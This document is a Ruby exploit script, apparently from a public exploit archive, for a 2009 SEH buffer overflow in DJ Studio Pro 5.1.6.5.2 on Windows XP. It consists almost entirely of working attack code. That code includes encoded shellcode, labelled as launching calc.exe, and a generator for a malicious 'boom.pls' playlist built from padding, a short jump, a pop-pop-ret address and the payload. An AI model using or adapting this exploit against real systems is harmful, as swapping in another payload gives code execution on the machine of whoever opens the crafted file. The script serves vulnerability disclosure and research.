#!/usr/bin/ruby
# Exploit Title : DJ Studio Pro 5.1.6.5.2 SEH Exploit
# Date          : 2009-12-30
# Author        : Sébastien Duquette - ekse.0x@gmail.com
# Software Link : http://www.e-soft.co.uk/
# Version       : 5.1.6.5.2
# Tested on     : Windows XP SP2 En
# OSVDB ID      : 58159
# Overflow originally discovered by prodigy

# exec calc.exe
payload =
"\xda\xdc\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x49\x6c\x48\x68\x4b\x39\x45\x50\x43\x30\x45" +
"\x50\x43\x50\x4d\x59\x48\x65\x46\x51\x4a\x72\x43\x54\x4e" +
"\x6b\x51\x42\x46\x50\x4c\x4b\x50\x52\x44\x4c\x4c\x4b\x51" +
"\x42\x47\x64\x4e\x6b\x44\x32\x51\x38\x46\x6f\x4f\x47\x42" +
"\x6a\x45\x76\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47" +
"\x4c\x45\x31\x51\x6c\x47\x72\x44\x6c\x51\x30\x4a\x61\x48" +
"\x4f\x44\x4d\x47\x71\x48\x47\x49\x72\x4a\x50\x43\x62\x43" +
"\x67\x4e\x6b\x51\x42\x46\x70\x4c\x4b\x51\x52\x45\x6c\x45" +
"\x51\x48\x50\x4c\x4b\x51\x50\x44\x38\x4c\x45\x4f\x30\x44" +
"\x34\x43\x7a\x46\x61\x48\x50\x46\x30\x4c\x4b\x47\x38\x45" +
"\x48\x4e\x6b\x51\x48\x45\x70\x46\x61\x48\x53\x4d\x33\x47" +
"\x4c\x47\x39\x4e\x6b\x47\x44\x4c\x4b\x46\x61\x4b\x66\x44" +
"\x71\x4b\x4f\x45\x61\x4b\x70\x4e\x4c\x4a\x61\x4a\x6f\x46" +
"\x6d\x45\x51\x4f\x37\x44\x78\x4b\x50\x44\x35\x48\x74\x45" +
"\x53\x43\x4d\x4a\x58\x47\x4b\x51\x6d\x47\x54\x51\x65\x49" +
"\x72\x51\x48\x4c\x4b\x46\x38\x51\x34\x47\x71\x48\x53\x51" +
"\x76\x4c\x4b\x46\x6c\x50\x4b\x4c\x4b\x43\x68\x45\x4c\x43" +
"\x31\x4a\x73\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x4e\x30\x4d" +
"\x59\x43\x74\x45\x74\x44\x64\x51\x4b\x43\x6b\x51\x71\x51" +
"\x49\x42\x7a\x46\x31\x49\x6f\x4b\x50\x42\x78\x43\x6f\x51" +
"\x4a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x51\x4d\x51\x7a\x46" +
"\x61\x4c\x4d\x4b\x35\x48\x39\x47\x70\x45\x50\x45\x50\x42" +
"\x70\x45\x38\x46\x51\x4c\x4b\x50\x6f\x4b\x37\x49\x6f\x49" +
"\x45\x4f\x4b\x48\x70\x4c\x75\x4e\x42\x50\x56\x51\x78\x4f" +
"\x56\x4f\x65\x4d\x6d\x4f\x6d\x49\x6f\x4b\x65\x47\x4c\x44" +
"\x46\x43\x4c\x46\x6a\x4f\x70\x49\x6b\x49\x70\x51\x65\x47" +
"\x75\x4d\x6b\x43\x77\x45\x43\x50\x72\x50\x6f\x42\x4a\x47" +
"\x70\x50\x53\x4b\x4f\x48\x55\x43\x53\x43\x51\x50\x6c\x42" +
"\x43\x44\x6e\x43\x55\x44\x38\x45\x35\x45\x50\x44\x4a\x41" +
"\x41"

pattern = File.open('pattern_5000.txt', 'r').read

f = File.open('boom.pls', 'w')
f.print 'A' * 1308
f.print "\xeb\x06\x90\x90"
f.print "\x2d\xc6\x4f\01"   # pop-pop-ret @ 0x014FC62D [djstudiopro.exe]
f.print payload
f.print 'A' * 10000

f.close